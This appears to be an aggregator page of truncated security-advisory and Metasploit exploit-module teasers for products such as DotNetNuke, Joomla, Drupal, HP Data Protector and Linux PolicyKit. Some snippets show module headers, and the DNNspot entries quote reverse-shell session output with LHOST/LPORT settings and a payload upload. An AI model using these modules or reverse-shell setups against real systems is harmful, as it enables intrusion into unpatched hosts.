NAT-PMP Security Vulnerability Affects 1.2M Routers

Vulnerabilities in embedded devices, in particular small office and home office routers, have been relentless. Another serious issue was discovered this week that affects more than 1.2 million such devices due to improper NAT-PMP protocol implementations, most of which run counter to the...

Centreon SQL / Command Injection

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'Centreon SQL and Command Injection', 'Description' = %q This module exploits several vulnerabilities on Centreon 2.5.1 and prior and...

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload Metasploit Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on...

DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload Exploit

This Metasploit module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store module versions below 3.0.0. Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed t...

DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit)

Exploit Title: DotNetNuke DNNspot Store UploadifyHandler.ashx windows/shell/reversetcp LHOST = 192.168.13.37 LPORT = 31337 RHOST = 192.168.31.33 - Handler failed to bind to 192.168.13.37:31337 Started reverse handler on 0.0.0.0:31337 192.168.31.33:80 - Uploading payload... 192.168.31.33:80 -...

Wordpress Creative Contact Form Upload Vulnerability

This module exploits an arbitrary PHP code upload in the WordPress Creative Contact Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution. Module Options msf use exploit/unix/webapp/wp/creativecontactformfileupload msf...

Western Digital MyBook Live Login Utility

This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'metasploit/framework/credentialcollection' require...

Numara / BMC Track-It! FileStorageService Arbitrary File Upload Exploit

This Metasploit module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It! v8 to v11.X. The application exposes the FileStorageService .NET remoting service on port 9010 9004 for version 8 which accepts unauthenticated uploads. This can be abused by a malicious user to uploa...

HP Data Protector EXEC_INTEGUTIL Remote Code Execution Exploit

This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists in the Backup client service, which listens by default on TCP/5555. The EXECINTEGUTIL request allows to execute arbitrary commands from a restricted directory. Since it includes a perl executable, it's possible...

Joomla! Component Akeeba Kickstart - Unserialize Remote Code Execution (Metasploit)

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 "Joomla Akeeba Kickstart Unserialize Remote Code Execution", 'Description' = %q This module exploits ...

HP Data Protector - 'EXEC_INTEGUTIL' Remote Code Execution (Metasploit)

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'HP Data Protector EXECINTEGUTIL Remote Code Execution', 'Description' = %q This exploit abuses a vulnerability in the HP Data...

Numara / BMC Track-It! FileStorageService Arbitrary File Upload

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload', 'Description' = %q This module exploits an arbitrary file upload...

Joomla Akeeba Kickstart Unserialize Remote Code Execution Exploit

This Metasploit module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba component, which is responsible for Joomla! updates. Nevertheless it is worth to note that this vulnerability is...

Joomla Akeeba Kickstart Unserialize Remote Code Execution

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 "Joomla Akeeba Kickstart Unserialize Remote Code Execution", 'Description' = %q This module exploits ...

Microsoft Windows - OLE Package Manager Code Execution (MS14-060) (Metasploit)

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 "MS14-060 Microsoft Windows OLE Package Manager Code Execution", 'Description' = %q This module exploits a vulnerability found in...

Linux PolicyKit - Race Condition Privilege Escalation (Metasploit)

This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class Metasploit4 'Linux PolicyKit Race Condition Privilege Escalation', 'Description' = %q A race condition flaw was found in the PolicyKit pkexec utility and polkitd...

Linux PolicyKit Race Condition Privilege Escalation Exploit

A race condition flaw was found in the PolicyKit pkexec utility and polkitd daemon. A local user could use this flaw to appear as a privileged user to pkexec, allowing them to execute arbitrary commands as root by running those commands with pkexec. Those vulnerable include RHEL6 prior to...

Drupal HTTP Parameter Key/Value SQL Injection Vulnerability

This Metasploit module exploits the Drupal HTTP Parameter Key/Value SQL Injection aka Drupageddon in order to achieve a remote shell on the vulnerable instance. This Metasploit module was tested against Drupal 7.0 and 7.31 was fixed in 7.32. This module requires Metasploit:...

OS Command Injection Infoblox Network Automation

Product: Network Automation, licensed as: • NetMRI • Switch Port Manager • Automation Change Manager • Security Device Controller Vendor: Infoblox Vulnerable Versions: 6.4.X.X-6.8.4.X Tested Version: 6.8.2.11 Vendor Notification: May 12th, 2014 Vendor Patch Availability to Customers: May 16th, 20...

Browser Exploitation Framework: BeEF

Browser Exploitation Framework The Browser Exploitation Framework BeEF is a powerful professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging...